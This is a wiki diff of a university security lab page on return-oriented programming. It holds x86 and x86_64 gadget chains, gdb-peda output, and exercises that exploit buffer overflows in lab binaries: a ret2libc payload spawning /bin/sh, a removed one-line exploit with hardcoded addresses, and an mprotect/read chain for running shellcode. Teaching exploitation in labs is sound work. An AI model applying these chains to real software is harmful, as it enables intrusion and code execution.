Differences

This shows you the differences between two versions of the page.

Link to this comparison view

cns:labs:lab-08 [2019/11/18 11:28]
dennis.plosceanu [ROP Chains and Gadgets]
cns:labs:lab-08 [2021/12/14 13:28] (current)
razvan.deaconescu
Line 1: Line 1:
-====== Lab 8 - Return Oriented Programming ====== +====== Lab 08 - Return-Oriented Programming ======
- +
-===== Resources ===== +
- +
-  * [[http://​codearcana.com/​posts/​2013/​05/​28/​introduction-to-return-oriented-programming-rop.html|Introduction to return oriented programming]] +
-  * [[https://​www.corelan.be/​index.php/​2010/​06/​16/​exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/​|Chaining DEP with ROP]] +
-  * [[http://​www.shell-storm.org/​project/​ROPgadget/​ | ROPgadget: Gadgets finder and auto-roper]] +
-  * [[https://​github.com/​pakt/​ropc | Turing complete ROP compiler ]] (only for PoC) +
-===== Supporting files ===== +
- +
-You will use this [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-08.tar.gz|lab archive]] throughout the lab. +
- +
-Please download the lab archive an then unpack it using the commands below: +
-<code bash> +
-$ wget http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-08.tar.gz +
-$ tar xzf lab-08.tar.gz +
-</​code>​ +
- +
-After unpacking, you will get the ''​lab-08/''​ folder: +
-<code bash> +
-$ cd lab-08/ +
-$ ls -F +
-2-rlibc/ ​ 3-ropbuf/ ​ 4-ropfunc/ ​ 5-roplibc/​ +
-</​code>​ +
  
 ===== Introduction ===== ===== Introduction =====
Line 72: Line 48:
 ===== Return Oriented Programming ===== ===== Return Oriented Programming =====
  
-==== From Ret-to-libc to ROP ==== 
  
-As we've seen in the introduction,​ a standard ''​ret-to-libc''​ attack would be to overwrite +==== ROP Chains and Gadgets ====
-the return address with the address of a function from ''​libc''​ like below:+
  
-<​code>​ +The building blocks ​of ROP payloads are called **gadgets**These are blocks of instructions that end with a 'ret' ​instruction. Here are some example gadgets:
-RET + 0x00:   ​addr ​of system +
-RET + 0x04:   ​JUNK +
-RET + 0x08:   ​address to desired command (e.g. '/bin/sh'+
-</​code>​+
  
-However, what happens when you need to call multiple functions? Say you need to call ''​f1()''​ and then ''​f2(0xAB,​ 0xCD)''?​ The payload should be: 
 <​code>​ <​code>​
-RET + 0x00  addr of f1 +0x00000000004011dfpop rbp; pop r14; pop r15; ret; 
-RET + 0x04  addr of f2 (return address after f1 finishes) +0x000000000040111dpop rbp; ret; 
-RET + 0x08  JUNK (return address after f2 finishes: we don't care about what happens after the 2 functions are called) +0x00000000004011e3pop rdi; ret; 
-RET + 0x0c:   0xAB (param1 of f2) +0x00000000004011e1pop rsi; pop r15; ret;
-RET + 0x10  0xCD (param2 of f2)+
 </​code>​ </​code>​
  
-What about if we need to call ''​f1(0xAB, 0xCD)''​ and then ''​f2(0xEF, 0x42)''​?+By carefully stitching such gadgets on the stack we can bring code execution ​to almost any context we want. As an example let's say we would like to load ''​0xdeadbeef''​ into ''​rdi''​ and ''​0xcafebabe''​ into ''​rsi''​. The payload should look like:  
 <​code>​ <​code>​
-RET + 0x00:   addr of f1 +RET + 0x00: 0x00000000004011e3 ​  (pop rdi; ret
-RET + 0x04:   addr of f2 (return address after f1 finishes+RET + 0x08: 0x00000000deadbeef 
-RET + 0x08:   0xAB (param1 of f1)   +RET + 0x10: 0x00000000004011e1 ​  (pop rsi; pop r15; ret) 
-RET + 0x0c:   0xCD (param2 of f1)  !! but this should also be 0xEF (param1 of f2) +RET + 0x180x00000000cafebabe 
-RET + 0x10:   0x42 (param2 of f2) +RET + 0x200x00000000cafebabe ​  ​(junk for r15, could be anything) 
-</​code>​ +RET + 0x28<address of next instruction to execute (gadget/​function call)>
- +
-This kind of conflict can be resolved using Return Oriented Programming,​ a generalization of ret2libc attacks. As we will see in the next section, the main idea is to find some intermediate instructions that will clear the parameters of ''​f1()''​ from the stack when they are no longer needed. +
-==== ROP Chains and Gadgets - 32 bit ==== +
- +
-The building blocks of ''​ROP''​ payloads are called **gadgets**. These are blocks of instructions that end with a '​ret'​ instruction. +
- +
-Here are some ''​gadgets''​ from the previous program: +
-<code asm> +
-0x8048443: ​pop ebpret +
-0x80484a7: ​pop edi; pop ebp; ret +
-0x8048441: mov ebp,esp; pop ebp; ret +
-0x80482da: pop eax; pop ebx; leave; ret +
-0x80484c3: pop ecx; pop ebx; leave; ret +
-</​code>​ +
- +
-By carefully stitching such gadgets on the stack we can bring code execution to almost any context we want. +
-As an example let's say we would like to load ''​0x41424344''​ into ''​eax''​ and ''​0x61626364''​ into ''​ebx''​. The payload should look like: +
- +
-<code asm> +
-RET + 0x00:   ​0x80482da ​ (pop eax; pop ebx; leave; ret) +
-RET + 0x04  0x41424344 +
-RET + 0x08:   0x61626364 +
-RET + 0x0c  0xAABBCCDD ???+
 </​code>​ </​code>​
  
   * First the ret addr is popped from the stack and execution goes there.   * First the ret addr is popped from the stack and execution goes there.
-  * At pop eax ''​0x41424344''​ is loaded into ''​eax''​ and the stack is increased. +  * At ''​pop rdi'',  ​''​0xdeadbeef''​ is loaded into ''​rdi''​ and the stack is increased. 
-  * At pop ebx ''​0x61626364''​ is loaded into ''​ebx'' ​and the stack is increased again. +  * At ''​ret''​, code flow will go to the instruction at the top of the stack, which is now ''​RET + 0x10'' ​(because of the previous ''​pop''​) 
-  * At leave two things actually happen: ​''​mov esp, ebp; pop ebp''​. So the stack frame is decreased to the previous one (pointed by ''​ebp''​) and ''​ebp'' ​is updated to the one before thatSo ''​esp'' ​will now be the old ''​ebp+4''​. +  * At ''​pop ​rsi''​,  ​''​0xcafebabe'' ​is loaded into ''​rsi'' ​and the stack is increased. 
-  * At ret code flow will go to the instruction ​pointed to by ''​ebp+4''​. This implies that execution will not go to 0xAABBCCDD but to some other address that may or may not be in our control ​(depending on how much we can overflow on the stack). If it is in our control we can overwrite that address with the rest of the ''​ROP'' ​chain. +  * At ''​pop r15''​,  ​''​0xcafebabe'' ​is loaded into ''​r15''​ and the stack is increased
-We have now seen how gadgets can be useful if we want the CPU to achieve ​certain state. This is particularly useful on other architectures such as ARM and x86_64 where functions do not take parameters from the stack but from registers.+  * At ''​ret'', ​code flow will go to the instruction ​at the top of the stack, which is now ''​RET 0x28''​ (because ​of the previous two ''​pop''​s) 
 +  * Here we could place function address to jump to, or maybe the address of another gadget.
  
 +We have now seen how gadgets can be useful if we want the CPU to achieve a certain state. This is particularly useful on other architectures such as ARM and x86_64 where functions do not take parameters from the stack but from registers. ​
  
-On important use of gadgets is to clear the stack. Remember the issue we had in the previous section? Let's solve it using gadgets. We need to call ''​f1(0xAB,​ 0xCD)''​ and then ''​f2(0xEF,​ 0x42)''​. Our initial solution was: +On x86_64 the function arguments are set in registers ​so we need to set the arguments ​using appropriate ROP gadgets:
-<code asm> +
-RET + 0x00:   addr of f1 +
-RET + 0x04:   addr of f2 (return address after f1 finishes) +
-RET + 0x08:   0xAB (param1 of f1)   +
-RET + 0x0c:   0xCD (param2 of f1)  !! but this should also be 0xEF (param1 of f2) +
-RET + 0x10:   0x42 (param2 of f2) +
-</​code>​ +
-  +
-The problem is that those parameters of ''​f1''​ are getting in the way of calling ''​f2''​. We need to find a <color red> pop pop ret </​color>​ gadget. The actual registers are not important. +
- +
-<code asm> +
-RET + 0x00:   addr of f1 +
-RET + 0x04:   addr of (pop eax, pop ebx, ret)  +
-RET + 0x08:   0xAB (param1 of f1)   +
-RET + 0x0c:   0xCD (param2 of f1) +
-RET + 0x10:   addr of f2 +
-RET + 0x14:   ​JUNK +
-RET + 0x18:   0xEF (param1 of f2) +
-RET + 0x1c:   0x42 (param2 of f2) +
-</​code>​  +
- +
-Now we can even call the next function f3 if we repeat the trick: +
-<code asm> +
-RET + 0x00:   addr of f1 +
-RET + 0x04:   addr of (pop eax, pop ebx, ret)  +
-RET + 0x08:   0xAB (param1 of f1)   +
-RET + 0x0c:   0xCD (param2 of f1) +
-RET + 0x10:   addr of f2 +
-RET + 0x14:   addr of (pop eax, pop ebx, ret)  +
-RET + 0x18:   0xEF (param1 of f2) +
-RET + 0x1c:   0x42 (param2 of f2)  +
-RET + 0x20:   addr of f3 +
-</​code>​ +
- +
-__** Step by step stack changes **__ +
-<​spoiler>​ +
-{{ :​cns:​labs:​st1.png?​600 |}} +
-{{ :​cns:​labs:​st2.png?​600 |}} +
-{{ :​cns:​labs:​st3.png?​600 |}} +
-{{ :​cns:​labs:​st4.png?​600 |}} +
-</​spoiler>​ +
- +
-==== ROP Chains and Gadgets - 64-bit ==== +
- +
-On x86_64 the function arguments are set in registers ​which changes the workflow for ROP. Instead of using ''​pop,​ pop, ..., ret''​ gadgets with arbitrary registers to clean the stack, ​we need to set the arguments ​in specific registers:+
  
 Example: Example:
-  * address of ''​pop rdiret''​ followed by a value on stack (first arg) +  * address of ''​pop rdiret''​ followed by a value on stack (first arg) 
-  * address of ''​pop,​ rsiret''​ followed by a value on stack (second arg)+  * address of ''​pop,​ rsiret''​ followed by a value on stack (second arg)
   * address of function with 2 arguments   * address of function with 2 arguments
  
-<​note>​ 
-  * On 32 bits we think in terms of **call + cleanup** - arguments are already on the stack, but need to be cleaned up after func call 
-  * on 64 bits we think in terms of **setup + call**. - arguments need to be set in registers before calling the function 
-</​note>​ 
  
 __** Step by step stack changes **__ __** Step by step stack changes **__
Line 199: Line 98:
  
 ==== Debugging and Tools ==== ==== Debugging and Tools ====
- 
-__** ROP payload debugging ** 
-__ 
- 
-When you know what the offending function is, disassemble it and break on “ret”. 
- 
-<code asm> 
-gdb-peda$ pdis main 
-Dump of assembler code for function main: 
-   ​0x0804843c <​+0>:​ push ​  ebp 
-   ​0x0804843d <​+1>:​ mov ​   ebp,esp 
-   ​0x0804843f <​+3>:​ and ​   esp,​0xfffffff0 
-   ​0x08048442 <​+6>:​ sub ​   esp,0x30 
-   ​0x08048445 <​+9>:​ mov ​   DWORD PTR [esp+0x8],​0x64 
-   ​0x0804844d <​+17>:​ lea ​   eax,​[esp+0x19] 
-   ​0x08048451 <​+21>:​ mov ​   DWORD PTR [esp+0x4],​eax 
-   ​0x08048455 <​+25>:​ mov ​   DWORD PTR [esp],0x0 
-   ​0x0804845c <​+32>:​ call ​  ​0x8048310 <​read@plt>​ 
-   ​0x08048461 <​+37>:​ mov ​   eax,0x0 
-   ​0x08048466 <​+42>:​ leave  ​ 
-   ​0x08048467 <​+43>:​ ret ​   ​ 
-End of assembler dump. 
-gdb-peda$ b *0x08048467 
-Breakpoint 1 at 0x8048467 
-  
-  
-AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA 
-[----------------------------------registers-----------------------------------] 
-EAX: 0x0  
-EBX: 0xf7f97e54 --> 0x1a6d5c ​ 
-ECX: 0xffffcd49 ("​AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA\n\300\317\377\367\034"​) 
-EDX: 0x64 ('​d'​) 
-ESI: 0x0  
-EDI: 0x0  
-EBP: 0x41334141 ('​AA3A'​) 
-ESP: 0xffffcd6c ("​AEAAeAA4AAFAAfA\n\300\317\377\367\034"​) 
-EIP: 0x8048467 (<​main+43>:​ ret) 
-EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow) 
-[-------------------------------------code-------------------------------------] 
-   ​0x8048445 <​main+9>:​ mov ​   DWORD PTR [esp+0x8],​0x64 
-   ​0x804844d <​main+17>:​ lea ​   eax,​[esp+0x19] 
-   ​0x8048451 <​main+21>:​ mov ​   DWORD PTR [esp+0x4],​eax 
-   ​0x8048455 <​main+25>:​ mov ​   DWORD PTR [esp],0x0 
-   ​0x804845c <​main+32>:​ call ​  ​0x8048310 <​read@plt>​ 
-   ​0x8048461 <​main+37>:​ mov ​   eax,0x0 
-   ​0x8048466 <​main+42>:​ leave  ​ 
-=> 0x8048467 <​main+43>:​ ret ​   ​ 
-   ​0x8048468:​ xchg ​  ax,ax 
-   ​0x804846a:​ xchg ​  ax,ax 
-   ​0x804846c:​ xchg ​  ax,ax 
-   ​0x804846e:​ xchg ​  ax,ax 
-   ​0x8048470 <​__libc_csu_init>:​ push ​  ebp 
-   ​0x8048471 <​__libc_csu_init+1>:​ push ​  edi 
-   ​0x8048472 <​__libc_csu_init+2>:​ xor ​   edi,edi 
-   ​0x8048474 <​__libc_csu_init+4>:​ push ​  esi 
-[------------------------------------stack-------------------------------------] 
-0000| 0xffffcd6c --> 0xf7e333e0 (<​system>:​ sub ​   esp,0x1c) 
-0004| 0xffffcd70 --> 0x80484cf (<​__libc_csu_init+95>:​ pop ​   ebp) 
-0008| 0xffffcd74 --> 0xf7f56be6 ("/​bin/​sh"​) 
-0012| 0xffffcd78 --> 0xf7e25c00 (<​exit>:​ push ​  ebx) 
- 
-</​code>​ 
- 
-Then you can break on all called functions or step as needed to see if the payload is doing what you want it to. 
  
 __** Checksec in peda ** __** Checksec in peda **
Line 286: Line 121:
 gdb-peda$ dumprop gdb-peda$ dumprop
 Warning: this can be very slow, do not run for large memory range Warning: this can be very slow, do not run for large memory range
-Writing ROP gadgets to file: a-rop.txt ... +Writing ROP gadgets to file: ret2libc-rop.txt ... 
-0x8048467: ret +0x40111e: ret 
-0x804835diret +0x401083cli; ret 
-0x804838frepz ret +0x40111fnop; ret 
-0x80483be: ret 0xeac1 +0x401155leave; ​ret 
-0x80483a9leave; ret +0x401081nop edx; ret 
-0x80485b4inc ecx; ret +0x401080endbr64; ret 
-0x80484cf: pop ebp; ret +0x4010ae: jmp rax; ret 
-0x80482f5: pop ebx; ret +0x40111d: pop rbp; ret 
-0x80484df: nop; repz ret +0x4011e3: pop rdi; ret 
-0x80483a8ror cl,1; ret +0x4011e2: pop r15; ret 
-0x804838e: add dh,bl; ret +0x401154: nop; leave; ​ret 
-0x80483e5ror cl,cl; ret +0x401017add esp,0x8; ret 
-0x8048465: add cl,cl; ret +0x401016: add rsp,0x8; ret 
-0x804840bleaverepz ret +0x40107fnop; endbr64; ret 
-0x8048371sbb al,0x24; ret +0x4010f6: add [rax],al; ret 
-0x80485b3adc al,0x41; ret +0x4010f5: add [rax],r8b; ret 
-0x8048370mov ebx,[esp]; ret +0x4011e1pop rsi; pop r15; ret 
-0x80484de: nop; nop; repz ret +0x4011e0pop r14; pop r15; ret 
-0x80483a7call eax; leave; ret +0x40107ehlt; nop; endbr64; ret 
-0x80483e4: call edxleave; ret +0x4011ccfisttp ​[rax-0x7d]; ret 
-0x804840a: add ecx,ecxrepz ret +0x4011efadd bl,​dh; ​nop edxret 
-0x80484ce: ​pop edi; pop ebp; ret+0x4010f3: ​nop [rax+rax*1+0x0]; ret 
 +0x401179mov eax,0x0pop rbp; ret 
 +0x401014: call raxadd rsp,0x8; ret 
 +0x40111b: add [rcx],al; pop rbp; ret 
 +--More--(25/​115)
 </​code>​ </​code>​
  
Line 314: Line 153:
 <​code>​ <​code>​
 gdb-peda$ ropgadget gdb-peda$ ropgadget
-ret = 0x80482d2 +ret = 0x40101a 
-popret = 0x80482e9 +popret = 0x40111d 
-pop2ret ​0x804855a +addesp_8 ​0x401017
-pop4ret = 0x8048558 +
-pop3ret = 0x8048559 +
-addesp_12 = 0x80482e6 +
-addesp_16 = 0x80483b5+
 </​code>​ </​code>​
  
Line 327: Line 162:
 <code asm> <code asm>
 gdb-peda$ asmsearch "pop ? ; ret" gdb-peda$ asmsearch "pop ? ; ret"
-0x080482f5 ​: (5bc3) pop    ​ebx; ret +Searching for ASM code: 'pop ? ; ret' in: binary ranges 
-0x080484cf ​: (5dc3) pop ​   ​ebp; ret +0x0040111d ​: (5dc3    ​pop    ​rbp    ​ret 
-0x080484f6 ​: (5bc3) pop    ​ebx; ret+0x0040117e ​: (5dc3) ​    ​pop    ​rbp    ​ret 
 +0x004011e2 ​: (415fc3  ​pop    ​r15    ​ret 
 +0x004011e3 : (5fc3) ​    ​pop ​   rdi;     ret 
    
 gdb-peda$ asmsearch "pop ? ; pop ? ; ret" gdb-peda$ asmsearch "pop ? ; pop ? ; ret"
-0x080484ce ​: (5f5dc3) pop    ​edi; pop    ​ebp; ret+Searching for ASM code: 'pop ? ; pop ? ; ret' in: binary ranges 
 +0x004011e0 : (415e415fc3) ​      ​pop ​   r14;     ​pop ​   r15;     ret 
 +0x004011e1 ​: (5e415fc3) pop    ​rsi    ​pop    ​r15    ​ret
    
 gdb-peda$ asmsearch "call ?" gdb-peda$ asmsearch "call ?"
-0x080483a7 ​: (ffd0) call ​  eax +Searching for ASM code: 'call ?' in: binary ranges 
-0x080483e4 ​: (ffd2) call   edx +0x00401014 ​: (ffd0) ​    ​call   rax 
-0x0804842f ​: (ffd0) call ​  eax+0x0040104b ​: (e9d0    jmp    0x401020 
 +0x00401057 : (89d1) ​    ​mov ​   ecx,edx 
 +0x004010da ​: (48d1    sar    rsi,1 
 +0x00401160 : (e8d1) ​    call   0x401136 <​vuln>​ 
 +0x00401190 : (89d6) ​    ​mov ​   esi,edx
  
-gdb-peda$ ropsearch "​pop ​eax+gdb-peda$ ropsearch "​pop ​rdi
-...+Searching for ROP gadget: 'pop rdi' in: binary ranges 
 +0x004011e3 : (b'​5fc3'​) ​ pop rdi; ret 
 + 
 # search the requested gadget in libc area # search the requested gadget in libc area
 gdb-peda$ ropsearch "xchg eax, esp;" libc gdb-peda$ ropsearch "xchg eax, esp;" libc
Line 347: Line 193:
  
 ===== Tasks ===== ===== Tasks =====
 +
 +All content necessary for the CNS laboratory tasks can be found in [[cns:​resources:​repo|the CNS public repository]]. ​
 +
  
 <note important>​ <note important>​
Line 364: Line 213:
 ==== 1. ROP Gadgets (tutorial) ​ ==== ==== 1. ROP Gadgets (tutorial) ​ ====
  
-Run any program (for instance ​the binary from the next exercise) and find some specific ROP gadgets:+Run any program (for instance, ''​ret2libc''​) and find some specific ROP gadgets:
   * two pops in any registers followed by ret in the binary memory range.   * two pops in any registers followed by ret in the binary memory range.
-  * ''​call ​ebx; ret''​ in libc memory range.+  * ''​call ​rdi; ret''​ in libc memory range.
  
 <code asm> <code asm>
-cd 2-rlibc/ +gdb ./ret2libc 
-gdb ./rlibc +gdb-peda$ ​start  # must start for libc to be mapped
-gdb-peda$ ​b main +
-Breakpoint 1 at 0x8048451: file rlibc.c, line 16. +
-gdb-peda$ r +
-Starting program: /​root/​lab-08/​2-rlibc/​rlibc ​+
 ... ...
-Breakpoint 1, main () at rlibc.c:16 
-16 vuln(); 
 gdb-peda$ ropsearch "pop ?; pop ?; ret" gdb-peda$ ropsearch "pop ?; pop ?; ret"
 Searching for ROP gadget: 'pop ?; pop ?; ret' in: binary ranges Searching for ROP gadget: 'pop ?; pop ?; ret' in: binary ranges
-0x080484da ​: (b'5f5dc3'​) pop ​edi; pop ebp; ret +0x004011e1 ​: (b'5e415fc3'​) ​     pop rsi; pop r15; ret 
-gdb-peda$ ropsearch "​call ​ebx; ret" ​libc +0x004011e0 : (b'​415e415fc3'​) ​   pop r14; pop r15; ret 
-Searching for ROP gadget: '​call ​ebx; ret' in: libc ranges +gdb-peda$ ropsearch "​call ​rdi; ret" ​0x00007ffff7dc6000 0x00007ffff7f8b000 
-0xf7f0d8f2 ​: (b'ffd3c3'​) call ​ebx; ret+Searching for ROP gadget: '​call ​rdi; ret' in range0x7ffff7dc6000 - 0x7ffff7f8b000 
 +0x00007ffff7f4fe87 ​: (b'ffd7c3'​) ​       call rdi; ret
 </​code>​ </​code>​
 +
 ==== 2. Return-to-libc - bypass NX/DEP (tutorial) ​ ==== ==== 2. Return-to-libc - bypass NX/DEP (tutorial) ​ ====
  
-Analyze the ''​rlibc.c''​ source code. As we can see, there is a buffer overflow vulnerability.+Analyze the ''​00-tutorial-2-ret2libc/​rlibc.c''​ source code. As we can see, there is a buffer overflow vulnerability.
 Since the binary is compiled with a non-executable stack, we cannot execute a shellcode from the buffer/​stack. One solution would be to return (jump) to an existing libc function that will give us a shell. For instance, we could call ''​%%system("/​bin/​sh"​)%%''​. This exercise assumes that the libc address of ''​system''​ remains constant, so don't forget to disable ASLR. Since the binary is compiled with a non-executable stack, we cannot execute a shellcode from the buffer/​stack. One solution would be to return (jump) to an existing libc function that will give us a shell. For instance, we could call ''​%%system("/​bin/​sh"​)%%''​. This exercise assumes that the libc address of ''​system''​ remains constant, so don't forget to disable ASLR.
  
Line 393: Line 238:
 Our exploit payload will look something like: Our exploit payload will look something like:
  
-''​%%[overflow] [<systemaddr] [fake return ​address] ["/​bin/​sh"​]%%''​ +''​%%[overflow] [<pop rdi gagdget> address] ["/​bin/​sh" ​address[system address]%%''​
- +
-In order to correctly prepare the stack frame for ''​system()''​ (so ''​%%"/​bin/​sh"​%%''​ will be placed in the parameters location), we also need to set a return ​address ​for it. +
-Since ''​system()''​ will execute the desired shell, we don't actually need to return from it, so we can set this address to a random value (e.g. ''​%%"​\x00"​*4%%''​)+
 </​note>​ </​note>​
  
Line 403: Line 245:
 root@kali:​~/​lab-08#​ gdb rlibc  root@kali:​~/​lab-08#​ gdb rlibc 
 gdb-peda$ b main gdb-peda$ b main
-Breakpoint ​at 0x8048451: file rlibc.c, line 12.+Breakpoint ​at 0x401157: file ret2libc.c, line 10.
 gdb-peda$ r gdb-peda$ r
 Starting program: /​root/​lab-08/​rlibc ​ Starting program: /​root/​lab-08/​rlibc ​
 Breakpoint 1, main () at rlibc.c:12 Breakpoint 1, main () at rlibc.c:12
 gdb-peda$ p system gdb-peda$ p system
-$1 = {<text variable, no debug info>​} ​0xf7e34af0 ​<​system>​+$1 = {<text variable, no debug info>​} ​0x7ffff7e10830 ​<​system>​
 </​code>​ </​code>​
  
Line 416: Line 258:
 Searching for '/​bin/​sh'​ in: None ranges Searching for '/​bin/​sh'​ in: None ranges
 Found 1 results, display max 1 items: Found 1 results, display max 1 items:
-libc : 0xf7f56be8 ​("/bin/sh")+libc : 0x7ffff7f53e78 --> 0x68732f6e69622f ​('/bin/sh')
 </​code>​ </​code>​
  
   * As usual, we have to identify the overflowed buffer ''​offset''​ where the return address starts. We can do this using the ''​peda''​ ''​pattc''​ and ''​patto''​ commands as in the previous [[http://​ocw.cs.pub.ro/​courses/​cns/​labs/​lab-06#​phase_2finding_the_vulnerability|labs]]. ​   * As usual, we have to identify the overflowed buffer ''​offset''​ where the return address starts. We can do this using the ''​peda''​ ''​pattc''​ and ''​patto''​ commands as in the previous [[http://​ocw.cs.pub.ro/​courses/​cns/​labs/​lab-06#​phase_2finding_the_vulnerability|labs]]. ​
-  * In the end, our exploit ​will look something like (where 140 is the overflowed buffer offset): +  * The complete ​exploit ​can be found in ''​00-tutorial-2-ret2libc/solution.py''​
-<code bash> +
-cat <(python -c 'print "​\x00"​*140+"​\xf0\x4a\xe3\xf7"​+"​\x00"​*4+"​\xe8\x6b\xf5\xf7"​'| ./rlibc  +
-</​code>​+
  
 ==== 3. ROP: Find the buffer ​ ==== ==== 3. ROP: Find the buffer ​ ====
  
-Analyze the content of ''​3-ropbuf/​ropbuf.c''​. There is a buffer overflow, but in order to exploit it we have to know the buffer'​s address on the stack. We had a similar situation in [[http://​ocw.cs.pub.ro/​courses/​cns/​labs/​lab-07#​multistage_exploit_7p|lab7]] where we built a 2-stages exploit and managed to leak the buffer'​s address. But this is not always so easy to guess/leak.+Analyze the content of ''​01-ropbuf/​ropbuf.c''​. There is a buffer overflow, but in order to exploit it we have to know the buffer'​s address on the stack. We had a similar situation in [[http://​ocw.cs.pub.ro/​courses/​cns/​labs/​lab-07#​multistage_exploit_7p|lab7]] where we built a 2-stages exploit and managed to leak the buffer'​s address. But this is not always so easy to guess/leak.
  
 === ROP Gadget to return to the buffer ​ === === ROP Gadget to return to the buffer ​ ===
Line 435: Line 274:
 gdb-peda$ pdis vuln gdb-peda$ pdis vuln
 Dump of assembler code for function vuln: Dump of assembler code for function vuln:
-   0x00000000004005b7 ​<​+0>:​ push ​  rbp +   0x0000000000401136 ​<​+0>: ​    ​push   rbp 
-   0x00000000004005b8 ​<​+1>:​ mov ​   rbp,rsp +   0x0000000000401137 ​<​+1>: ​    ​mov    rbp,rsp 
-   0x00000000004005bb ​<​+4>:​ sub ​   rsp,0x90 +   0x000000000040113a ​<​+4>: ​    ​sub    rsp,0x90 
-   0x00000000004005c2 ​<​+11>:​ mov ​   QWORD PTR [rbp-0x88],​rdi +   0x0000000000401141 ​<​+11>: ​   mov    QWORD PTR [rbp-0x88],​rdi 
-   0x00000000004005c9 ​<​+18>:​ mov ​   rdx,QWORD PTR [rbp-0x88] +   0x0000000000401148 ​<​+18>: ​   mov    rdx,QWORD PTR [rbp-0x88] 
-   0x00000000004005d0 ​<​+25>:​ lea ​   rax,​[rbp-0x80] +   0x000000000040114f ​<​+25>: ​   lea    rax,​[rbp-0x80] 
-   0x00000000004005d4 ​<​+29>:​ mov ​   rsi,rdx +   0x0000000000401153 ​<​+29>: ​   mov    rsi,rdx 
-   0x00000000004005d7 ​<​+32>:​ mov ​   rdi,rax +   0x0000000000401156 ​<​+32>: ​   mov    rdi,rax 
-   0x00000000004005da ​<​+35>:​ call ​  0x4004b0 ​<​strcpy@plt>​ +   0x0000000000401159 ​<​+35>: ​   call   0x401030 ​<​strcpy@plt>​ 
-   0x00000000004005df ​<​+40>:​ nop +   0x000000000040115e ​<​+40>: ​   nop 
-   0x00000000004005e0 ​<​+41>:​ leave ​  +   0x000000000040115f ​<​+41>: ​   leave 
-   0x00000000004005e1 ​<​+42>:​ ret    +   0x0000000000401160 ​<​+42>: ​   ​ret
 End of assembler dump. End of assembler dump.
 +
 </​code>​ </​code>​
  
 <note tip> <note tip>
 The buffer address is stored in a register when ''​ret''​ is executed. The buffer address is stored in a register when ''​ret''​ is executed.
 +
 +There is no need for a memory disclosure / information leak of the buffer address. **You can find a gadget that jumps / calls that register.**
  
 Use ''​%%ropsearch ... libc%%''​. Instead of ''​%%...%%''​ place the instructions you search. Use ''​%%ropsearch ... libc%%''​. Instead of ''​%%...%%''​ place the instructions you search.
Line 457: Line 299:
  
 Using this information,​ find a ROP gadget that will help you jump directly to a shellcode stored in the buffer. Using this information,​ find a ROP gadget that will help you jump directly to a shellcode stored in the buffer.
-Replace the return address with the address of the ROP gadget. You can start from the skeleton in ''​ropbuf.py''​. This exercise also needs ASLR disabled, since it assumes that the ROP gadget'​s address remains constant between consecutive runs.+Replace the return address with the address of the ROP gadget. You can start from the skeleton in ''​01-ropbuf/exploit.py''​. This exercise also needs ASLR disabled, since it assumes that the ROP gadget'​s address remains constant between consecutive runs.
  
 <note tip> <note tip>
Line 464: Line 306:
     io = process(["​./​ropbuf",​ payload]) ​ # Run ./ropbuf using payload as command line argument.     io = process(["​./​ropbuf",​ payload]) ​ # Run ./ropbuf using payload as command line argument.
 </​code>​ </​code>​
 +</​note>​
 +
 +<note important>​
 +You can't send NUL-bytes as part of command line arguments. When constructing the payload, use ''​%%pack(...).strip(b\"​x00"​)%%''​.
 </​note>​ </​note>​
  
Line 477: Line 323:
 ==== 4. ROP: Functions chain ==== ==== 4. ROP: Functions chain ====
  
-As we've seen in the above sections, ROP is useful when we want to chain multiple function calls. Using ROP Gadgets we can clean-up the stack (remove parameters) ​in between function calls.+As we've seen in the above sections, ROP is useful when we want to chain multiple function calls. Using ROP Gadgets we can setup function arguments ​in between function calls.
  
-Take a look at ''​4-ropfunc/ropfunc.c''​ and make it call ''​call_1()''​ followed by ''​call_2()''​ and ''​call_exit()''​. You can start from the skeleton in ''​ropfunc.py''​. When calling ''​call_1()''​ and ''​call_2()'',​ make them print the messages in the ''​if''​ block by passing the proper parameters.+Take a look at ''​02-ropchain/ropchain.c''​ and make it call ''​call_1()''​ followed by ''​call_2()''​ and ''​call_exit()''​. You can start from the skeleton in ''​02-ropchain/​exploit.py''​. When calling ''​call_1()''​ and ''​call_2()'',​ make them print the messages in the ''​if''​ block by passing the proper parameters.
 ==== 5. Bonus ROP: Libc Functions chain  ==== ==== 5. Bonus ROP: Libc Functions chain  ====
    
 Now let's move to a more practical example by chaining useful ''​libc''​ functions. Now let's move to a more practical example by chaining useful ''​libc''​ functions.
-Take a look at ''​roplibc.c''​. We can see that we have a buffer overflow on ''​buf''​ and a global, unused ''​gbuf''​.+Take a look at ''​03-roplibc/roplibc.c''​. We can see that we have a buffer overflow on ''​buf''​ and a global, unused ''​gbuf''​.
  
   * The stack is not executable so, at the first sight, we cannot put our shellcode neither in ''​buf'',​ nor in ''​gbuf''​. But what if we manage to call (jump to) **mprotect** over the memory area where we store the shellcode, and make it executable?   * The stack is not executable so, at the first sight, we cannot put our shellcode neither in ''​buf'',​ nor in ''​gbuf''​. But what if we manage to call (jump to) **mprotect** over the memory area where we store the shellcode, and make it executable?
   * Furthermore,​ given the fact that ''​gbuf''​ is larger than ''​buf'',​ we might want to put our shellcode there. But how do we do this when the only ''​read''​ call is on ''​buf''?​ In this case, we will also want to call (jump to) **read** in our exploit payload.   * Furthermore,​ given the fact that ''​gbuf''​ is larger than ''​buf'',​ we might want to put our shellcode there. But how do we do this when the only ''​read''​ call is on ''​buf''?​ In this case, we will also want to call (jump to) **read** in our exploit payload.
   * A possible ROP chain (that will start from the overwritten return address from ''​buf''​) for the described attack will look something like below. The return addresses in the ROP chain are highlighted with red and the function parameters with green.   * A possible ROP chain (that will start from the overwritten return address from ''​buf''​) for the described attack will look something like below. The return addresses in the ROP chain are highlighted with red and the function parameters with green.
-**[<​color red>pop rdi;​ret</​color>​][<​color green>​fd=0</​color>​][<​color red>pop rsi;​ret</​color>​][<​color green>​gbuf</​color>​][<​color red>pop rdx;​ret</​color>​][<​color green>​shellcode_len</​color>​][read_addr] 
  
